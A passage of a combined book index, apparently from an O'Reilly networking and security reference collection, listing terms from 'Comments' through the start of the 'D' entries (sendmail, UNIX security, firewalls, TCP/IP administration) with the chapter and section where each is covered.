in BNU UUCP : Practical UNIX & Internet Security, 15.5.1.3. A Sample Permissions file
in header fields : sendmail, 35.3.4. Comments in the Header Field
in :include: lists : sendmail, 25.2.1. Comments in :include: Lists
in m4 files : sendmail, 19.5. Pitfalls
in rule definitions : sendmail, 8.4. Rules
in sendmail.cf file
sendmail, 3.1. Role in the Filesystem
sendmail, 5.1. Overview
sendmail, 27.2. Comments
stripping from headers : sendmail, 30.8. Alphabetized F= Flags
"Comments:" header line : sendmail, 35.10. Alphabetized Reference
commercial authentication systems : Building Internet Firewalls, 10.4.3. Commercial Solutions
Commercial Information Exchange (CIX) : TCP/IP Network Administration, 1.1. TCP/IP and the Internet
Common Gateway Interface (CGI)
Building Internet Firewalls, 8.6.3.1. What can a malicious client do to
Practical UNIX & Internet Security, 18.1. Security and the World Wide Web
scripts
Practical UNIX & Internet Security, 18.2. Running a Secure Server
Practical UNIX & Internet Security, 18.2.3. Writing Secure CGI Scripts and ProgramsThe
Practical UNIX & Internet Security, 18.2.4.1. Beware mixing HTTP with anonymous FTP
communications
interpersonal : (see email)
modems : (see modems)
national telecommunications : Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
threatening : Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
comp.security newsgroups : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
comparison copies
Practical UNIX & Internet Security, 9.2.1. Comparison Copies
Practical UNIX & Internet Security, 9.2.1.3. rdist
compatibility between sendmail versions
sendmail, 5.2.1. Version
sendmail, 27.5. The V Configuration Command
sendmail, D.2. Backward Compatibility
compiling db library package : sendmail, C.3. Compile and Install
compiling sendmail : sendmail, 2.5. Build
enabling databases : sendmail, 33.1. Enable at Compile Time
macros for : sendmail, 18.8. Alphabetized Reference
vendor copies versus : sendmail, 18.2. Vendor Versus Compiling
completion, command option : sendmail, 34.1.2.1. Multicharacter name shorthand
compress program : Practical UNIX & Internet Security, 6.6.1.2. Ways of improving the security of crypt
Compressed SLIP (CSLIP) : Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
Computer Emergency Response Committee for Unclassified Systems (CERCUS) : Practical UNIX & Internet Security, F.3.4.36. TRW Network Area and System Administrators
Computer Emergency Response Team (CERT) advisories
Practical UNIX & Internet Security, 6.5.2. Using Message Digests
Practical UNIX & Internet Security, 27.3.5. Response Personnel?
Practical UNIX & Internet Security, F.3.4.1. All Internet sites
TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
CERT-NL (Netherlands) : Practical UNIX & Internet Security, F.3.4.25. Netherlands: German government institutions
mailing list for : Practical UNIX & Internet Security, E.1.3.4. CERT-advisory
Computer Incident Advisory Capability (CIAC) : Practical UNIX & Internet Security, F.3.4.43. U.S. Department of Energy
computer networks : Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
Computer Security Institute (CSI) : Practical UNIX & Internet Security, F.1.3. Computer Security Institute (CSI)
Computer Security Resource Clearinghouse : TCP/IP Network Administration, 13.1. The World Wide Web
computers
assigning UUCP name : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
auxiliary ports : Practical UNIX & Internet Security, 12.3.1.4. Auxiliary ports on terminals
backing up individual : Practical UNIX & Internet Security, 7.2.1. Individual Workstation
computer-to-computer services, providing : TCP/IP Network Administration, 9. Configuring Network Servers
contacting administrator of : Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
cutting cables to : Practical UNIX & Internet Security, 25.1. Destructive Attacks
failure of : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
hostnames for
Practical UNIX & Internet Security, 16.2.3. Hostnames
Practical UNIX & Internet Security, 16.2.3.1. The /etc/hosts file
modems : (see modems)
multiple screens : Practical UNIX & Internet Security, 12.3.4.3. Multiple screens
multiple suppliers of : Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
non-citizen access to : Practical UNIX & Internet Security, 26.4.1. Munitions Export
operating after breakin : Practical UNIX & Internet Security, 24.6. Resuming Operation
portable : Practical UNIX & Internet Security, 12.2.6.3. Portables
remote command execution : Practical UNIX & Internet Security, 17.3.17. rexec (TCP Port 512)
running NIS+ : Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
screen savers : Practical UNIX & Internet Security, 12.3.5.2. X screen savers
security
culture of : Practical UNIX & Internet Security, D.1.10. Understanding the Computer Security "Culture"
four steps toward : Practical UNIX & Internet Security, 2.4.4.7. Defend in depth
physical : Practical UNIX & Internet Security, 12.2.6.1. Physically secure your computer
references for : Practical UNIX & Internet Security, D.1.7. General Computer Security
resources on : Practical UNIX & Internet Security, D.1.1. Other Computer References
seized as evidence : Practical UNIX & Internet Security, 26.2.4. Hazards of Criminal Prosecution
transferring files between : Practical UNIX & Internet Security, 15.1.1. uucp Command
trusting
Practical UNIX & Internet Security, 27.1. Can you Trust Your Computer?
Practical UNIX & Internet Security, 27.1.3. What the Superuser Can and Cannot Do
unattended
Practical UNIX & Internet Security, 12.3.5. Unattended Terminals
Practical UNIX & Internet Security, 12.3.5.2. X screen savers
unplugging : Practical UNIX & Internet Security, 24.2.5. Getting Rid of the Intruder
vacuums for : Practical UNIX & Internet Security, 12.2.1.3. Dust
vandalism of : (see vandalism)
virtual : (see Telnet service)
viruses : (see viruses)
computing base (TCB) : Practical UNIX & Internet Security, 8.5.3.2. Trusted computing base
conditionals in macro definitions
sendmail, 14.1.3. Testing So Far
sendmail, 31.6. Macro Conditionals: $?, $|, and $.
TCP/IP Network Administration, 10.5.2.1. Conditionals
conf directory
Practical UNIX & Internet Security, 18.2.2.1. Configuration files
TCP/IP Network Administration, 5.3. The BSD Kernel Configuration File
conf/access.conf : (see access.conf file)
conf/master directory : TCP/IP Network Administration, 8.3.4. The named.local File
conf/srm.conf file : Practical UNIX & Internet Security, 18.3.1. The access.conf and .htaccess Files
conf.c file
sendmail, 18.3.3. What to Tune
sendmail, 35.5. Header Behavior in conf.c
conf.h file : sendmail, 18.3.3. What to Tune
conferencing services, real-time
Building Internet Firewalls, 2.8. Real-Time Conferencing
Building Internet Firewalls, 8.9. Real-Time Conferencing Services
confidence factor : TCP/IP Network Administration, 11.1.1. Troubleshooting Hints
confidentiality : (see encryption; privacy)
configuration
Archie : Building Internet Firewalls, 8.7.3. Archie
audit packages : Building Internet Firewalls, 5.8.5.2. Use the auditing packages
clocks : Building Internet Firewalls, 8.13. Network Time Protocol (NTP)
commands for
sendmail, 5.1. Overview
sendmail, 27.1. Overall Syntax
DNS (Domain Name Service) : Building Internet Firewalls, 8.10. Domain Name System
in screened host architecture : Building Internet Firewalls, 9.2.1.6. DNS
in screened subnet architecture : Building Internet Firewalls, 9.1.1.6. DNS
email : Building Internet Firewalls, 8.1. Electronic Mail
errors : Practical UNIX & Internet Security, 9.1. Prevention
exterior routers : Building Internet Firewalls, 9.1.2.2. Exterior Router
files : Practical UNIX & Internet Security, 11.5.3. Abusing Automatic Mechanisms
logging : Practical UNIX & Internet Security, 10.7.2.2. Informational material
MCSA web server : Practical UNIX & Internet Security, 18.2.2.1. Configuration files
UUCP version differences : Practical UNIX & Internet Security, 15.2. Versions of UUCP
FSP (File Service Protocol) : Building Internet Firewalls, 8.2.3. File Service Protocol (FSP)
FTP (File Transfer Protocol) : Building Internet Firewalls, 8.2.1. File Transfer Protocol
in screened host architecture : Building Internet Firewalls, 9.2.1.2. FTP
in screened subnet architecture : Building Internet Firewalls, 9.1.1.2. FTP
Gopher : Building Internet Firewalls, 8.7.1. Gopher
hardware : Building Internet Firewalls, 5.3.3. What Hardware Configuration?
HTTP (Hypertext Transfer Protocol)
in screened host architecture : Building Internet Firewalls, 9.2.1.5. HTTP
in screened subnet architecture : Building Internet Firewalls, 9.1.1.5. HTTP
hub : sendmail, 15.4. Hub Accepts Mail for Client
information lookup services : Building Internet Firewalls, 8.8. Information Lookup Services
interior router : Building Internet Firewalls, 9.1.2.1. Interior Router
Internet services : Building Internet Firewalls, 8. Configuring Internet Services
IRC (Internet Relay Chat) : Building Internet Firewalls, 8.9.2. Internet Relay Chat
kernel : Building Internet Firewalls, 5.8.4.1. Reconfigure and rebuild the kernel
labeling system : Building Internet Firewalls, 13.5.2. Labeling and Diagraming Your System
machine : Building Internet Firewalls, 5.8.4. Reconfiguring for Production
MBONE (Multicast Backbone) : Building Internet Firewalls, 8.9.3. The Multicast Backbone (MBONE)
network management services : Building Internet Firewalls, 8.12. Network Management Services
NFS (Network File System) : Building Internet Firewalls, 8.14. Network File System
NIS/YP (Network Information Service) : Building Internet Firewalls, 8.15. Network Information Service/Yellow
NNTP (Network News Transfer Protocol) : Building Internet Firewalls, 8.5. Network News Transfer Protocol
in screened host architecture : Building Internet Firewalls, 9.2.1.4. NNTP
in screened subnet architecture : Building Internet Firewalls, 9.1.1.4. NNTP
packet filtering router : Building Internet Firewalls, 6.2. Configuring a Packet Filtering
parameters for (in dhcpd) : TCP/IP Network Administration, D.3.2. Configuration Parameters
ping program : Building Internet Firewalls, 8.12.3. ping
printing protocols : Building Internet Firewalls, 8.17. Printing Protocols (lpr and lp)
problems : TCP/IP Network Administration, 11.4.1. Troubleshooting with the ifconfig Command
r commands : Building Internet Firewalls, 8.4.1. BSD
real-time conferencing services : Building Internet Firewalls, 8.9. Real-Time Conferencing Services
RIP (Routing Information Protocol) : Building Internet Firewalls, 8.12.2. Routing Information Protocol
sendmail
sendmail, 2.4. Preliminaries
sendmail, 18.6. Install sendmail
sendmail, 19.6. Alphabetized m4 Macros
(see also sendmail.cf configuration file)
servers : TCP/IP Network Administration, 3.5. Configuration Servers
simplifying management of : Practical UNIX & Internet Security, 9.1.2. Read-only Filesystems
SMTP (Simple Mail Transfer Protocol)
in screened host architecture : Building Internet Firewalls, 9.2.1.3. SMTP
in screened subnet architecture : Building Internet Firewalls, 9.1.1.3. SMTP
with firewalls : Building Internet Firewalls, 8.1.1.6. Configuring SMTP to
SNMP (Simple Network Management Protocol) : Building Internet Firewalls, 8.12.1. Simple Network Management
syslog : Building Internet Firewalls, 8.11. syslog
system, prerequisites for : TCP/IP Network Administration, 4. Getting Started
Telnet : Building Internet Firewalls, 8.3. Terminal Access (Telnet)
in screened host architecture : Building Internet Firewalls, 9.2.1.1. Telnet
in screened subnet architecture : Building Internet Firewalls, 9.1.1.1. Telnet
TFTP (Trivial File Transport Protocol) : Building Internet Firewalls, 8.2.2. Trivial File Transfer Protocol
TNP (Network Time Protocol) : Building Internet Firewalls, 8.13. Network Time Protocol (NTP)
traceroute program : Building Internet Firewalls, 8.12.4. traceroute
UUCP (UNIX-to-UNIX Copy Protocol) : Building Internet Firewalls, 8.2.4. UNIX-to-UNIX
WAIS (Wide Area Information Servers) : Building Internet Firewalls, 8.7.2. Wide Area Information Servers
WWW (World Wide Web) and HTTP : Building Internet Firewalls, 8.6. World Wide Web (WWW) and HTTP
X11 Window wystem : Building Internet Firewalls, 8.16. X11 Window System
connection cache
sendmail, 26.3.3.2. -- connection cache: --
sendmail, 34.6.5. Connection Caching
connection command-line option, in pppd : TCP/IP Network Administration, 6.3.3. chat
"Connection timed out" message : sendmail, 4.2. Verbose (-v)
ConnectionCacheSize (k) option : sendmail, 34.8. Alphabetized Reference
ConnectionCacheTimeout (K) option : sendmail, 34.8. Alphabetized Reference
ConnectionRateThrottle option : sendmail, 34.8. Alphabetized Reference
connections
between Internet and unbuilt bastion host : Building Internet Firewalls, 5.8. Building a Bastion Host
checking network : (see ping command)
disconnecting after incident : Building Internet Firewalls, 13.1.2. Disconnect or Shut Down, as
disconnecting machine : Building Internet Firewalls, 13.4.3. Planning for Disconnecting or
hijacking : Practical UNIX & Internet Security, 16.3. IP Security
killed by TCP : Building Internet Firewalls, 6.3.3.1. TCP
laundering : Practical UNIX & Internet Security, 16.1.1.1. Who is on the Internet?
multiple Internet : Building Internet Firewalls, 4.3.6. It's OK to Use
tracing
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
unidirectional versus multidirectional : Building Internet Firewalls, 7.4.2. Unidirectional Versus Multidirectional
unplugging : Practical UNIX & Internet Security, 24.2.5. Getting Rid of the Intruder
connectivity
TCP/IP Network Administration, 1.7. Application Layer
(see also firewalls)
troubleshooting : TCP/IP Network Administration, 11.3. Testing Basic Connectivity
connectors, network : Practical UNIX & Internet Security, 12.2.4.3. Network connectors
consistency of software : Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
console device : Practical UNIX & Internet Security, 5.6. Device Files
CONSOLE variable : Practical UNIX & Internet Security, 8.5.1. Secure Terminals
constraining passwords : Practical UNIX & Internet Security, 8.8.2. Constraining Passwords
consultants : Practical UNIX & Internet Security, 27.3.4. Your Consultants?
content types : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
"Content-Length:" header line
sendmail, 35.10. Alphabetized Reference
sendmail, D. Sun Enhancements
"Content-Transfer-Encoding:" header line
sendmail, 35.10. Alphabetized Reference
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
"Content-Type:" header line
sendmail, 30.4. The Equates
sendmail, 32.5. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
sendmail, 35.10. Alphabetized Reference
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
context-dependent files (CDFs)
Practical UNIX & Internet Security, 5.9.2. Context-Dependent Files
Practical UNIX & Internet Security, 24.4.1.7. Hidden files and directories
contiguous blocks : (see addresses, assigning)
continuation lines : sendmail, 27.4. Continuation Lines
control
information : TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
statements (in gated) : TCP/IP Network Administration, B.10. Control Statements
control characters
Practical UNIX & Internet Security, 3.1. Usernames
sendmail, 23.3.4. Unknown Control Character in qf File
control headers : sendmail, 35.6.4. Identification and Control Headers
convergence of routing, delays in : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
converting
Japanese font conversion : sendmail, 36.7. Alphabetized Reference
macro names to integers : sendmail, 20.3. Alphabetized V8.8 Subroutines
cookies
Practical UNIX & Internet Security, 17.3.21.4. Using Xauthority magic cookies
Practical UNIX & Internet Security, 18.2.3.1. Do not trust the user's browser!
COPS (Computer Oracle and Password System)
Building Internet Firewalls, B.2.1. COPS
Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
Practical UNIX & Internet Security, E.4.3. COPS (Computer Oracle and Password System)COPS
TCP/IP Network Administration, 12.4.3.1. COPS
auditing package : Building Internet Firewalls, 5.8.5.1. Auditing packages
copy (cp) command, in NFS : TCP/IP Network Administration, 9.1. The Network File System
copying
bounced messages to postmaster : sendmail, 22.8.3.4. The PostmasterCopy option
messages to postmaster : sendmail, 24.4.1. The Postmaster Alias
qf file temporarily : sendmail, 23.2.6. The Temporary qf Rewrite Image: tf
copyright
Practical UNIX & Internet Security, 9.2.1. Comparison Copies
Practical UNIX & Internet Security, 26.4.2. Copyright Infringement
Practical UNIX & Internet Security, 26.4.2.1. Software piracy and the SPA
notices of : Practical UNIX & Internet Security, 26.2.6. Other Tips
CORBA (Common Object Request Broker Architecture) : Practical UNIX & Internet Security, 19.2. Sun's Remote Procedure Call (RPC)
core files
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Practical UNIX & Internet Security, C.4. The kill Command
core gateways
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
cost : (see preference)
cost-benefit analysis
Practical UNIX & Internet Security, 2.3. Cost-Benefit Analysis
Practical UNIX & Internet Security, 2.3.4. Convincing Management
costs of losses : Practical UNIX & Internet Security, 2.3.1. The Cost of Loss
"could not exec" error : sendmail, 26.3.2. SIGHUP Restart
count field : TCP/IP Network Administration, 11.3.1. The ping Command
count-to-infinity problem : TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
cp command : Practical UNIX & Internet Security, 7.4.1. Simple Local Copies
cpio program
Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
Practical UNIX & Internet Security, 7.4.2. Simple Archives
crack program
Practical UNIX & Internet Security, 8.8.3. Cracking Your Own Passwords
Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
cracking
backing up because of : Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
passwords
Practical UNIX & Internet Security, 3.6.1. Bad Passwords: Open Doors
Practical UNIX & Internet Security, 3.6.4. Passwords on Multiple Machines
Practical UNIX & Internet Security, 8.6.1. The crypt()
Practical UNIX & Internet Security, 8.8.3. Cracking Your Own Passwords
Practical UNIX & Internet Security, 8.8.3.2. The dilemma of password crackers
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
logging failed attempts : Practical UNIX & Internet Security, 10.5.3. syslog Messages
responding to
Practical UNIX & Internet Security, 24. Discovering a Break-in
Practical UNIX & Internet Security, 24.7. Damage Control
using rexecd : Practical UNIX & Internet Security, 17.3.17. rexec (TCP Port 512)
crash : Building Internet Firewalls, 5.10.1. Watch Reboots Carefully
logging crashes : Practical UNIX & Internet Security, 10.7.2.1. Exception and activity reports
resetting locks after : TCP/IP Network Administration, 9.1.1. NFS Daemons
restarting after : TCP/IP Network Administration, 9.2.2. Solaris Line Printer Service
CRC (cyclic redundancy counter) : (see checksums)
Cred table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
criminal prosecution
Practical UNIX & Internet Security, 26.2. Criminal Prosecution
Practical UNIX & Internet Security, 26.2.7. A Final Note on Criminal Actions
crises : (see disasters and disaster recovery)
cron file
Practical UNIX & Internet Security, 9.2.2.1. Simple listing
Practical UNIX & Internet Security, 11.5.1.4. Filename attacks
Practical UNIX & Internet Security, 11.5.3.1. crontab entries
Practical UNIX & Internet Security, 15.6.2. Automatic Execution of Cleanup Scripts
automating backups : Practical UNIX & Internet Security, 7.3.2. Building an Automatic Backup System
cleaning up /tmp directory : Practical UNIX & Internet Security, 25.2.4. /tmp Problems
collecting login times : Practical UNIX & Internet Security, 10.1.1. lastlog File
security checks : TCP/IP Network Administration, 12.4.2. Looking for Trouble
statistics and : sendmail, 26.2.3. Using cron for Daily and Weekly Statistics
symbolic links in : Practical UNIX & Internet Security, 10.3.7. Other Logs
system clock and : Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
uucp scripts in : Practical UNIX & Internet Security, 15.6.2. Automatic Execution of Cleanup Scripts
crtscts option : TCP/IP Network Administration, 6.3.1. The PPP Daemon
Crypt Breaker's Workbench (CBW) : Practical UNIX & Internet Security, 6.6.1.1. The crypt program
crypt command/algorithm
Building Internet Firewalls, 5.8.2.2. How to disable services
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
Practical UNIX & Internet Security, 6.6.1. UNIX crypt: The Original UNIX Encryption Command
Practical UNIX & Internet Security, 6.6.1.3. Example
Practical UNIX & Internet Security, 8.6. The UNIX Encrypted Password System
Practical UNIX & Internet Security, 8.6.1. The crypt()
Practical UNIX & Internet Security, 8.8.7. Algorithm and Library Changes
Practical UNIX & Internet Security, 18.3.3. Setting Up Web Users and Passwords
Practical UNIX & Internet Security, 23.5. Tips on Using Passwords
crypt16 algorithm : Practical UNIX & Internet Security, 8.6.4. Crypt16() and Other Algorithms
crypto-checksum : TCP/IP Network Administration, 7.4.3. Open Shortest Path First
cryptography
Building Internet Firewalls, 10. Authentication and Inbound
Practical UNIX & Internet Security, 6. Cryptography
Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
Practical UNIX & Internet Security, 14.4.4.2. Protection against eavesdropping
checklist for : Practical UNIX & Internet Security, A.1.1.5. Chapter 6: Cryptography
checksums
Building Internet Firewalls, 5.8.5.3. About checksums for auditing
Practical UNIX & Internet Security, 6.5.5.1. Checksums
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
TCP/IP Network Administration, 11.8. Protocol Case Study
keeping secure : Building Internet Firewalls, 13.5.3. Keeping Secured Checksums
recalculating
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 5.3.1.1. Options
using Tripwire for : Building Internet Firewalls, 5.8.5.1. Auditing packages
digital signatures : (see digital signatures)
export laws concerning : Practical UNIX & Internet Security, 6.7.2. Cryptography and Export Controls
Message Authentication Codes (MACs) : Practical UNIX & Internet Security, 6.5.5.2. Message authentication codes
message digests : (see message digests)
PGP : (see PGP)
private-key
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
TCP/IP Network Administration, 12.6. Encryption
public-key
Building Internet Firewalls, 10. Authentication and Inbound
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Practical UNIX & Internet Security, 6.4.6.3. Strength of RSA
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
TCP/IP Network Administration, 12.6. Encryption
breaking : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
PGP : Practical UNIX & Internet Security, 6.6.3.2. Creating your PGP public key
proving identity with : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
references on : Practical UNIX & Internet Security, D.1.5. Cryptography Books
U.S. patents and : Practical UNIX & Internet Security, 6.7.1. Cryptography and the U.S. Patent System
csh (C shell)
Practical UNIX & Internet Security, 5.5.2. Problems with SUID
Practical UNIX & Internet Security, 11.5.1. Shell Features
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
(see also shells)
autologout variable : Practical UNIX & Internet Security, 12.3.5.1. Built-in shell autologout
history file : Practical UNIX & Internet Security, 10.4.1. Shell History
uucp command : Practical UNIX & Internet Security, 15.1.1.1. uucp with the C shell
.cshrc file
Practical UNIX & Internet Security, 11.5.2.2. .cshrc, .kshrc
Practical UNIX & Internet Security, 12.3.5.1. Built-in shell autologout
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
CSI (Computer Security Institute) : Practical UNIX & Internet Security, F.1.3. Computer Security Institute (CSI)
CSLIP (Compressed SLIP)
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 6.4.1. slattach
disabling : TCP/IP Network Administration, A.2. The PPP Daemon
CSRC (Computer Security Resource Clearinghouse) : Building Internet Firewalls, A.5.3. NIST CSRC
-Ctest.cf argument : TCP/IP Network Administration, 10.8. Testing sendmail.cf
ctime
Practical UNIX & Internet Security, 5.1.2. Inodes
Practical UNIX & Internet Security, 5.1.5. File Times
Practical UNIX & Internet Security, 5.2.1. chmod: Changing a File's Permissions
Practical UNIX & Internet Security, 7.4.7. inode Modification Times
Practical UNIX & Internet Security, 9.2.3. Checksums and Signatures
cu command
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 14.5.3.1. Originate testing
Practical UNIX & Internet Security, 14.5.3.3. Privilege testing
-l option : Practical UNIX & Internet Security, 14.5.3.1. Originate testing
cua devices : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
culture, computer security : Practical UNIX & Internet Security, D.1.10. Understanding the Computer Security "Culture"
curly braces ({})
sendmail, 5.3.2. Macros
sendmail, 5.3.5. Class Macros
sendmail, 7.1. Overview
configuration statements
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, B.2. The gated Configuration Language
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
long variable names : TCP/IP Network Administration, 10.5. sendmail Configuration
macro names : TCP/IP Network Administration, 10.5.2. The Define Macro Command
current
date : (see $d macro)
directory : Practical UNIX & Internet Security, 5.1.3. Current Directory and Paths
time and date : (see $b macro)
custom
client software for proxying : Building Internet Firewalls, 7.2.1. Using Custom Client Software for
system : Building Internet Firewalls, 13.1.6. Restore and Recover
user procedures for proxying : Building Internet Firewalls, 7.2.2. Using Custom User Procedures for
Customer Warning System (CWS) : Practical UNIX & Internet Security, F.3.4.34. Sun Microsystems
customizing sendmail temporarily : sendmail, 19.6. Alphabetized m4 Macros
cyclic redundancy counter (CRC) : Building Internet Firewalls, 5.8.5.3. About checksums for auditing
cyrus and cyrusbb mailers : TCP/IP Network Administration, E.3.5. MAILER

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

D configuration command
sendmail, 5.3.2. Macros
sendmail, 7.1. Overview
sendmail, 31.3. Configuration File Definitions
d flag : sendmail, 30.8. Alphabetized F= Flags
D flag
sendmail, 14.2.2. The Date: Header
sendmail, 30.8. Alphabetized F= Flags
D line (host status file) : sendmail, B.1. Status file lines
D line (qf file) : sendmail, 23.9. The qf File Internals
$d macro : sendmail, 31.10. Alphabetized Reference
d option : (see DeliveryMode (d) option)
D option : (see AutoRebuildAliases (D) option)
.D rule-testing command : sendmail, 38.2.1. Define a Macro with .D
-d switch (makemap) : sendmail, 33.2.1.1. -d allow duplicate keys
-d switch (sendmail)
sendmail, 4.3. Debugging (-d)
sendmail, 36.7. Alphabetized Reference
sendmail, 37.1. The Syntax of -d
complete list of switches : sendmail, 37.5. Reference in Numerical Order
-d0.1 switch
sendmail, 7.3.1. The hostname
sendmail, 11.6. Handling user@thishost
sendmail, 37.5. Reference in Numerical Order
-d0.15 switch
sendmail, 6.3.3. Testing the New Delivery Agent Definitions
sendmail, 37.5. Reference in Numerical Order
-d0.4 switch
sendmail, 31.7.1. Macros and the System Identity
sendmail, 37.5. Reference in Numerical Order
-d21.12 switch
sendmail, 10.5. Details of Rule Flow
sendmail, 37.5. Reference in Numerical Order
-d35.9 switch
sendmail, 7.3. Predefined Macros
sendmail, 37.5. Reference in Numerical Order
-d37.1 switch
sendmail, 13.3. Testing the Options
sendmail, 37.5. Reference in Numerical Order
with rule testing : sendmail, 38.7. Add Debugging for Detail
D= equate : sendmail, 30.4. The Equates
DAC (Discretionary Access Controls) : Practical UNIX & Internet Security, 4.1.3. Groups and Group Identifiers (GIDs)
daemon
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 5.4. The Internet Daemon
options for : sendmail, 34.8. Alphabetized Reference
preventing from running : sendmail, 15.5. Prevent the Daemon from Running
privacy of : sendmail, 34.8. Alphabetized Reference
signals : sendmail, 26.3. Signaling the Daemon
tools for : Building Internet Firewalls, B.5. Daemons
user
Practical UNIX & Internet Security, 4.1. Users and Groups
sendmail, 14.6. Trusted User
TCP/IP Network Administration, 5.4. The Internet Daemon
daemon mode
sendmail, 3.4. Role as a Daemon
sendmail, 4.1.1. Daemon Mode (-bd)
sendmail, 36.7. Alphabetized Reference
DaemonPortOptions (O) option : sendmail, 34.8. Alphabetized Reference
damage, liability for : Practical UNIX & Internet Security, 26.4.6. Liability for Damage
"dangerous write permissions" warning : sendmail, 22.5.1. Dangerous Write Permissions
dash (hyphen)
in machine conversation : sendmail, 4.2. Verbose (-v)
non-equivalent host : TCP/IP Network Administration, 12.2.5. Secure the r Commands
DAT (Digital Audio Tape) : Practical UNIX & Internet Security, 7.1.4. Guarding Against Media Failure
data : Building Internet Firewalls, 1.1.1. Your Data
assigning owners to : Practical UNIX & Internet Security, 2.4.4.1. Assign an owner
availability of : Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
communication equipment (DCE) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
communications model : TCP/IP Network Administration, 1.2. A Data Communications Model
communications protocols : (see TCP/IP services)
compression, not provided in SLIP : TCP/IP Network Administration, 6.2.1. The Serial Protocols
confidential
Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
Practical UNIX & Internet Security, 2.5.2. Confidential Information
disclosure of : Practical UNIX & Internet Security, 11.2. Damage
DNS
Building Internet Firewalls, 8.10.3. DNS Data
Building Internet Firewalls, 8.10.4.2. Mismatched data between the hostname
espionage
Building Internet Firewalls, 1.2.2.4. Spies (Industrial and
Practical UNIX & Internet Security, 11.3. Authors
giving away with NIS : Practical UNIX & Internet Security, 19.4.5. Unintended Disclosure of Site Information with NIS
identifying assets : Practical UNIX & Internet Security, 2.2.1.1. Identifying assets
protecting from sniffers : Building Internet Firewalls, 10.1.2. Packet Sniffing
spoofing : Practical UNIX & Internet Security, 16.3. IP Security
terminal equipment (DTE) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
theft of : (see information, theft and espionage)
transferring
Building Internet Firewalls, 6. Packet Filtering
(see email; files, transferring)
allowing/disallowing : Building Internet Firewalls, 6.1. Why Packet Filtering?
via TCP : Building Internet Firewalls, 6.3.3.1. TCP
user-specified, and proxying : Building Internet Firewalls, 7.4.4. User-Specified Data
Data Carrier Detect (DCD) : Practical UNIX & Internet Security, 14.3. The RS-232 Serial Protocol
DATA command, in SMTP : TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
Data Defense Network (DDN) : Practical UNIX & Internet Security, F.3.4.20. MILNET
Data Encryption Standard : (see DES)
DATA keyword : sendmail, 4.2. Verbose (-v)
Data Link Layer
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
in PPP : TCP/IP Network Administration, 6.2.1. The Serial Protocols
